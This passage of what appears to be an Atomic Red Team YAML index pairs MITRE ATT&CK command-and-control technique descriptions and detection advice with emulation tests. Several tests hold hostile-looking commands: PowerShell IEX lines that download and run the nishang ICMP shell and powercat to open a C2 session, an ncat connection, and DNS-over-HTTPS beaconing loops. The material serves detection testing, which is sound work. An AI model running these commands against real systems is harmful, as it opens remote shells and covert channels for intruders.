        To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. A particular variant of this behavior is to use onion routing networks, such as the publicly available TOR network. (Citation: Onion Routing)

        In the case of network infrastructure, particularly routers, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain within the Wide-Area Network (WAN) of the enterprise.  By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001), adversaries can add custom code to the affected network devices that will implement onion routing between those nodes.  This custom onion routing network will transport the encrypted C2 traffic through the compromised population, allowing adversaries to communicate with any device within the onion routing network.  This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method in order to allow the adversaries to cross the protected network boundary of the Internet perimeter and into the organization’s WAN. Protocols such as ICMP may be used as a transport.
      id: attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      modified: '2020-10-21T17:54:28.280Z'
      created: '2020-03-14T23:23:41.770Z'
      x_mitre_version: '2.0'
      x_mitre_is_subtechnique: true
      x_mitre_detection: |-
        When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique.

        In context of network devices, monitor traffic for encrypted communications from the Internet that is addressed to border routers.  Compare this traffic with the configuration to determine whether it matches with any configured site-to-site Virtual Private Network (VPN) connections the device was intended to have. Monitor traffic for encrypted communications originating from potentially breached routers that is addressed to other routers within the organization.  Compare the source and destination with the configuration of the device to determine if these channels are an authorized Virtual Private Network (VPN) connections or other encrypted modes of communication. Monitor ICMP traffic from the Internet that is addressed to border routers and is encrypted.  Few if any legitimate use cases exist for sending encrypted data to a network device via ICMP.
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
    atomic_tests: []
  T1026:
    technique:
      id: attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Multiband Communication
      description: |-
        **This technique has been deprecated and should no longer be used.**

        Some adversaries may split communications between different protocols. There could be one protocol for inbound command and control and another for outbound data, allowing it to bypass certain firewall restrictions. The split could also be random to simply avoid data threshold alerts on any one communication.
      external_references:
      - source_name: mitre-attack
        external_id: T1026
        url: https://attack.mitre.org/techniques/T1026
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      modified: '2020-03-30T13:59:11.272Z'
      created: '2017-05-31T21:30:32.259Z'
      x_mitre_deprecated: true
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_network_requirements: true
      x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious. Analyze packet contents to detect communications
        that do not follow the expected protocol behavior for the port that is being
        used. (Citation: University of Birmingham C2) Correlating alerts between multiple
        communication channels can further help identify command-and-control behavior.'
      x_mitre_version: '1.0'
    atomic_tests: []
  T1095:
    technique:
      created: '2017-05-31T21:31:10.728Z'
      modified: '2020-10-21T19:41:49.412Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      type: attack-pattern
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1095
        url: https://attack.mitre.org/techniques/T1095
      - url: http://en.wikipedia.org/wiki/List_of_network_protocols_%28OSI_model%29
        description: Wikipedia. (n.d.). List of network protocols (OSI model). Retrieved
          December 4, 2014.
        source_name: Wikipedia OSI
      - source_name: Cisco Synful Knock Evolution
        url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
          IOS devices. Retrieved October 19, 2020.
      - url: http://support.microsoft.com/KB/170292
        description: Microsoft. (n.d.). Internet Control Message Protocol (ICMP) Basics.
          Retrieved December 1, 2014.
        source_name: Microsoft ICMP
      - source_name: Cisco Blog Legacy Device Attacks
        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
        description: Omar Santos. (2020, October 19). Attackers Continue to Target
          Legacy Devices. Retrieved October 20, 2020.
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      description: |-
        Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).

        ICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution)
         Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.
      name: Non-Application Layer Protocol
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      id: attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b
      x_mitre_version: '2.1'
      x_mitre_contributors:
      - Ryan Becwar
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_detection: "Analyze network traffic for ICMP messages or other protocols
        that contain abnormal data or are not normally seen within or exiting the
        network.(Citation: Cisco Blog Legacy Device Attacks)\n\nAnalyze network data
        for uncommon data flows (e.g., a client sending significantly more data than
        it receives from a server). Processes utilizing the network that do not normally
        have network communication or have never been seen before are suspicious.
        Analyze packet contents to detect communications that do not follow the expected
        protocol behavior for the port that is being used.(Citation: University of
        Birmingham C2) \n\nMonitor and investigate API calls to functions associated
        with enabling and/or utilizing alternative communication channels."
      x_mitre_network_requirements: true
      x_mitre_platforms:
      - Windows
      - Linux
      - macOS
      - Network
      x_mitre_is_subtechnique: false
      identifier: T1095
    atomic_tests:
    - name: ICMP C2
      auto_generated_guid: '0268e63c-e244-42db-bef7-72a9e59fc1fc'
      description: |
        This will attempt to  start C2 Session Using ICMP. For information on how to set up the listener
        refer to the following blog: https://www.blackhillsinfosec.com/how-to-c2-over-icmp/
      supported_platforms:
      - windows
      input_arguments:
        server_ip:
          description: The IP address of the listening server
          type: String
          default: 127.0.0.1
      executor:
        command: |
          IEX (New-Object System.Net.WebClient).Downloadstring('https://raw.githubusercontent.com/samratashok/nishang/c75da7f91fcc356f846e09eab0cfd7f296ebf746/Shells/Invoke-PowerShellIcmp.ps1')
          Invoke-PowerShellIcmp -IPAddress #{server_ip}
        name: powershell
    - name: Netcat C2
      auto_generated_guid: bcf0d1c1-3f6a-4847-b1c9-7ed4ea321f37
      description: "Start C2 Session Using Ncat\nTo start the listener on a Linux
        device, type the following: \nnc -l -p <port>\n"
      supported_platforms:
      - windows
      input_arguments:
        server_port:
          description: The port for the C2 connection
          type: Integer
          default: 80
        ncat_exe:
          description: The location of ncat.exe
          type: Path
          default: "$env:TEMP\\T1095\\nmap-7.80\\ncat.exe"
        ncat_path:
          description: The folder path of ncat.exe
          type: Path
          default: "$env:TEMP\\T1095"
        server_ip:
          description: The IP address or domain name of the listening server
          type: String
          default: 127.0.0.1
      dependency_executor_name: powershell
      dependencies:
      - description: 'ncat.exe must be available at specified location (#{ncat_exe})

'
        prereq_command: 'if( Test-Path "#{ncat_exe}") {exit 0} else {exit 1}

'
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          New-Item -ItemType Directory -Force -Path #{ncat_path} | Out-Null
          $parentpath = Split-Path (Split-Path "#{ncat_exe}"); $zippath = "$parentpath\nmap.zip"
          Invoke-WebRequest  "https://nmap.org/dist/nmap-7.80-win32.zip" -OutFile "$zippath"
            Expand-Archive $zippath $parentpath -Force
            $unzipPath = Join-Path $parentPath "nmap-7.80"
          if( $null -eq (Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | ?{$_.DisplayName -like "Microsoft Visual C++*"}) ) {
            Start-Process (Join-Path $unzipPath "vcredist_x86.exe")
          }
      executor:
        command: 'cmd /c #{ncat_exe} #{server_ip} #{server_port}

'
        name: powershell
    - name: Powercat C2
      auto_generated_guid: 3e0e0e7f-6aa2-4a61-b61d-526c2cc9330e
      description: "Start C2 Session Using Powercat\nTo start the listener on a Linux
        device, type the following: \nnc -l -p <port>\n"
      supported_platforms:
      - windows
      input_arguments:
        server_ip:
          description: The IP address or domain name of the listening server
          type: String
          default: 127.0.0.1
        server_port:
          description: The port for the C2 connection
          type: Integer
          default: 80
      executor:
        command: |
          IEX (New-Object System.Net.Webclient).Downloadstring('https://raw.githubusercontent.com/besimorhino/powercat/ff755efeb2abc3f02fa0640cd01b87c4a59d6bb5/powercat.ps1')
          powercat -c #{server_ip} -p #{server_port}
        name: powershell
  T1132.002:
    technique:
      created: '2020-03-14T23:39:50.117Z'
      modified: '2020-03-14T23:39:50.117Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      type: attack-pattern
      id: attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc
      description: 'Adversaries may encode data with a non-standard data encoding
        system to make the content of command and control traffic more difficult to
        detect. Command and control (C2) information can be encoded using a non-standard
        data encoding system that diverges from existing protocol specifications.
        Non-standard data encoding schemes may be based on or related to standard
        data encoding schemes, such as a modified Base64 encoding for the message
        body of an HTTP request.(Citation: Wikipedia Binary-to-text Encoding) (Citation:
        Wikipedia Character Encoding) '
      name: Non-Standard Encoding
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1132.002
        url: https://attack.mitre.org/techniques/T1132/002
      - url: https://en.wikipedia.org/wiki/Binary-to-text_encoding
        description: Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved
          March 1, 2017.
        source_name: Wikipedia Binary-to-text Encoding
      - url: https://en.wikipedia.org/wiki/Character_encoding
        description: Wikipedia. (2017, February 19). Character Encoding. Retrieved
          March 1, 2017.
        source_name: Wikipedia Character Encoding
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious. Analyze packet contents to detect communications
        that do not follow the expected protocol behavior for the port that is being
        used.(Citation: University of Birmingham C2)'
      x_mitre_permissions_required:
      - User
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
    atomic_tests: []
  T1571:
    technique:
      created: '2020-03-14T18:18:32.443Z'
      modified: '2020-03-26T22:02:25.221Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      type: attack-pattern
      id: attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18
      description: 'Adversaries may communicate using a protocol and port paring that
        are typically not associated. For example, HTTPS over port 8088(Citation:
        Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April
        2018) as opposed to the traditional port 443. Adversaries may make changes
        to the standard port used by a protocol to bypass filtering or muddle analysis/parsing
        of network data.'
      name: Non-Standard Port
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1571
        url: https://attack.mitre.org/techniques/T1571
      - source_name: Symantec Elfin Mar 2019
        url: https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage
        description: 'Security Response attack Investigation Team. (2019, March 27).
          Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi
          Arabia and U.S.. Retrieved April 10, 2019.'
      - source_name: Fortinet Agent Tesla April 2018
        url: https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html
        description: Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware
          Variant. Retrieved November 5, 2018.
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_detection: 'Analyze packet contents to detect communications that do
        not follow the expected protocol behavior for the port that is being used.
        Analyze network data for uncommon data flows (e.g., a client sending significantly
        more data than it receives from a server). Processes utilizing the network
        that do not normally have network communication or have never been seen before
        are suspicious.(Citation: University of Birmingham C2)'
      x_mitre_is_subtechnique: false
      x_mitre_version: '1.0'
      identifier: T1571
    atomic_tests:
    - name: Testing usage of uncommonly used port with PowerShell
      auto_generated_guid: 21fe622f-8e53-4b31-ba83-6d333c2583f4
      description: |
        Testing uncommonly used port utilizing PowerShell. APT33 has been known to attempt telnet over port 8081. Upon execution, details about the successful
        port check will be displayed.
      supported_platforms:
      - windows
      input_arguments:
        port:
          description: Specify uncommon port number
          type: String
          default: '8081'
        domain:
          description: Specify target hostname
          type: String
          default: google.com
      executor:
        command: 'Test-NetConnection -ComputerName #{domain} -port #{port}

'
        name: powershell
    - name: Testing usage of uncommonly used port
      auto_generated_guid: 5db21e1d-dd9c-4a50-b885-b1e748912767
      description: 'Testing uncommonly used port utilizing telnet.

'
      supported_platforms:
      - linux
      - macos
      input_arguments:
        port:
          description: Specify uncommon port number
          type: String
          default: '8081'
        domain:
          description: Specify target hostname
          type: String
          default: google.com
      executor:
        command: 'telnet #{domain} #{port}

'
        name: sh
  T1102.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1102.003
        url: https://attack.mitre.org/techniques/T1102/003
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: One-Way Communication
      description: |-
        Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.

        Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
      id: attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      modified: '2020-03-26T23:26:10.109Z'
      created: '2020-03-14T22:45:52.963Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_detection: 'Host data that can relate unknown or suspicious process
        activity using a network connection is important to supplement any existing
        indicators of compromise based on malware command and control signatures and
        infrastructure or the presence of strong encryption. Packet capture analysis
        will require SSL/TLS inspection if data is encrypted. Analyze network data
        for uncommon data flows. User behavior monitoring may help to detect abnormal
        patterns of activity.(Citation: University of Birmingham C2)'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Connection Creation'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1205.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1205.001
        url: https://attack.mitre.org/techniques/T1205/001
      - url: https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631
        description: 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible
          backdoor. Retrieved October 13, 2018.'
        source_name: Hartrell cd00r 2002
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Port Knocking
      description: |-
        Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software.

        This technique has been observed to both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.

        The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.
      id: attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      modified: '2020-10-21T01:26:31.804Z'
      created: '2020-07-01T18:23:25.002Z'
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_detection: Record network packets sent to and from the system, looking
        for extraneous packets that do not belong to established flows.
      x_mitre_data_sources:
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
    atomic_tests: []
  T1001.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1001.003
        url: https://attack.mitre.org/techniques/T1001/003
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Protocol Impersonation
      description: "Adversaries may impersonate legitimate protocols or web service
        traffic to disguise command and control activity and thwart analysis efforts.
        By impersonating legitimate protocols or web services, adversaries can make
        their command and control traffic blend in with legitimate network traffic.
        \ \n\nAdversaries may impersonate a fake SSL/TLS handshake to make it look
        like subsequent traffic is SSL/TLS encrypted, potentially interfering with
        some security tooling, or to make the traffic look like it is related with
        a trusted entity. "
      id: attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      modified: '2020-03-15T00:40:27.503Z'
      created: '2020-03-15T00:40:27.503Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client
        sending significantly more data than it receives from a server). Processes
        utilizing the network that do not normally have network communication or have
        never been seen before are suspicious. Analyze packet contents to detect communications
        that do not follow the expected protocol behavior for the port that is being
        used.(Citation: University of Birmingham C2)'
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
    atomic_tests: []
  T1572:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1572
        url: https://attack.mitre.org/techniques/T1572
      - source_name: SSH Tunneling
        url: https://www.ssh.com/ssh/tunneling
        description: SSH.COM. (n.d.). SSH tunnel. Retrieved March 15, 2020.
      - source_name: BleepingComp Godlua JUL19
        url: https://www.bleepingcomputer.com/news/security/new-godlua-malware-evades-traffic-monitoring-via-dns-over-https/
        description: Gatlan, S. (2019, July 3). New Godlua Malware Evades Traffic
          Monitoring via DNS over HTTPS. Retrieved March 15, 2020.
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Protocol Tunneling
      description: "Adversaries may tunnel network communications to and from a victim
        system within a separate protocol to avoid detection/network filtering and/or
        enable access to otherwise unreachable systems. Tunneling involves explicitly
        encapsulating a protocol within another. This behavior may conceal malicious
        traffic by blending in with existing traffic and/or provide an outer layer
        of encryption (similar to a VPN). Tunneling could also enable routing of network
        packets that would otherwise not reach their intended destination, such as
        SMB, RDP, or other traffic that would be filtered by network appliances or
        not routed over the Internet. \n\nThere are various means to encapsulate a
        protocol within another protocol. For example, adversaries may perform SSH
        tunneling (also known as SSH port forwarding), which involves forwarding arbitrary
        data over an encrypted SSH tunnel.(Citation: SSH Tunneling) \n\n[Protocol
        Tunneling](https://attack.mitre.org/techniques/T1572) may also be abused by
        adversaries during [Dynamic Resolution](https://attack.mitre.org/techniques/T1568).
        Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be
        encapsulated within encrypted HTTPS packets.(Citation: BleepingComp Godlua
        JUL19) \n\nAdversaries may also leverage [Protocol Tunneling](https://attack.mitre.org/techniques/T1572)
        in conjunction with [Proxy](https://attack.mitre.org/techniques/T1090) and/or
        [Protocol Impersonation](https://attack.mitre.org/techniques/T1001/003) to
        further conceal C2 communications and infrastructure. "
      id: attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      modified: '2020-03-27T17:15:35.372Z'
      created: '2020-03-15T16:03:39.082Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: false
      x_mitre_detection: "Monitoring for systems listening and/or establishing external
        connections using ports/protocols commonly associated with tunneling, such
        as SSH (port 22). Also monitor for processes commonly associated with tunneling,
        such as Plink and the OpenSSH client. \n\nAnalyze network data for uncommon
        data flows (e.g., a client sending significantly more data than it receives
        from a server). Processes utilizing the network that do not normally have
        network communication or have never been seen before are suspicious. Analyze
        packet contents to detect application layer protocols that do not follow the
        expected protocol standards regarding syntax, structure, or any other variable
        adversaries could leverage to conceal data.(Citation: University of Birmingham
        C2)"
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
      - 'Network Traffic: Network Connection Creation'
      - 'Network Traffic: Network Traffic Content'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      identifier: T1572
    atomic_tests:
    - name: DNS over HTTPS Large Query Volume
      auto_generated_guid: ae9ef4b0-d8c1-49d4-8758-06206f19af0a
      description: |
        This test simulates an infected host sending a large volume of DoH queries to a command and control server.
        The intent of this test is to trigger threshold based detection on the number of DoH queries either from a single source system or to a single targe domain.
        A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.
      supported_platforms:
      - windows
      input_arguments:
        doh_server:
          description: Default DoH resolver
          type: String
          default: https://8.8.8.8/resolve
        query_type:
          description: DNS query type
          type: String
          default: TXT
        subdomain:
          description: Subdomain prepended to the domain name
          type: String
          default: atomicredteam
        query_volume:
          description: Number of DNS queries to send
          type: Integer
          default: '1000'
        domain:
          description: Default domain to simulate against
          type: String
          default: 127.0.0.1.xip.io
      executor:
        command: 'for($i=0; $i -le #{query_volume}; $i++) { (Invoke-WebRequest "#{doh_server}?name=#{subdomain}.$(Get-Random
          -Minimum 1 -Maximum 999999).#{domain}&type=#{query_type}" -UseBasicParsing).Content
          }

'
        name: powershell
    - name: DNS over HTTPS Regular Beaconing
      auto_generated_guid: 0c5f9705-c575-42a6-9609-cbbff4b2fc9b
      description: |
        This test simulates an infected host beaconing via DoH queries to a command and control server at regular intervals over time.
        This behaviour is typical of implants either in an idle state waiting for instructions or configured to use a low query volume over time to evade threshold based detection.
        A custom domain and sub-domain will need to be passed as input parameters for this test to work. Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.
      supported_platforms:
      - windows
      input_arguments:
        doh_server:
          description: Default DoH resolver
          type: String
          default: https://8.8.8.8/resolve
        runtime:
          description: Time in minutes to run the simulation
          type: Integer
          default: 30
        domain:
          description: Default domain to simulate against
          type: String
          default: 127.0.0.1.xip.io
        subdomain:
          description: Subdomain prepended to the domain name
          type: String
          default: atomicredteam
        query_type:
          description: DNS query type
          type: String
          default: TXT
        c2_interval:
          description: Seconds between C2 requests to the command and control server
          type: Integer
          default: 30
        c2_jitter:
          description: Percentage of jitter to add to the C2 interval to create variance
            in the times between C2 requests
          type: Integer
          default: 20
      executor:
        command: |
          Set-Location PathToAtomicsFolder
          .\T1572\src\T1572-doh-beacon.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}
        name: powershell
    - name: DNS over HTTPS Long Domain Query
      auto_generated_guid: 748a73d5-cea4-4f34-84d8-839da5baa99c
      description: |
        This test simulates an infected host returning data to a command and control server using long domain names.
        The simulation involves sending DoH queries that gradually increase in length until reaching the maximum length. The intent is to test the effectiveness of detection of DoH queries for long domain names over a set threshold.
         Upon execution, DNS information about the domain will be displayed for each callout in a JSON format.
      supported_platforms:
      - windows
      input_arguments:
        doh_server:
          description: Default DoH resolver
          type: String
          default: https://8.8.8.8/resolve
        query_type:
          description: DNS query type
          type: String
          default: TXT
        subdomain:
          description: Subdomain prepended to the domain name (should be 63 characters
            to test maximum length)
          type: String
          default: atomicredteamatomicredteamatomicredteamatomicredteamatomicredte
        domain:
          description: Default domain to simulate against
          type: String
          default: 127.0.0.1.xip.io
      executor:
        command: |
          Set-Location PathToAtomicsFolder
          .\T1572\src\T1572-doh-domain-length.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type}
        name: powershell
  T1090:
    technique:
      created: '2017-05-31T21:31:08.479Z'
      modified: '2020-10-21T17:54:28.531Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: command-and-control
      type: attack-pattern
      id: attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Proxy
      description: |-
        Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.

        Adversaries can also take advantage of routing schemes in Content Delivery Networks (CDNs) to proxy command and control traffic.
      external_references:
      - source_name: mitre-attack
        external_id: T1090
        url: https://attack.mitre.org/techniques/T1090
      - url: http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/
        description: 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools
          of the Trade. Retrieved December 2, 2015.'
        source_name: Trend Micro APT Attack Tools
      - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
        description: Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command
          & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.
        source_name: University of Birmingham C2
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_detection: |-
        Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)

        Consider monitoring for traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)).
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Flow'
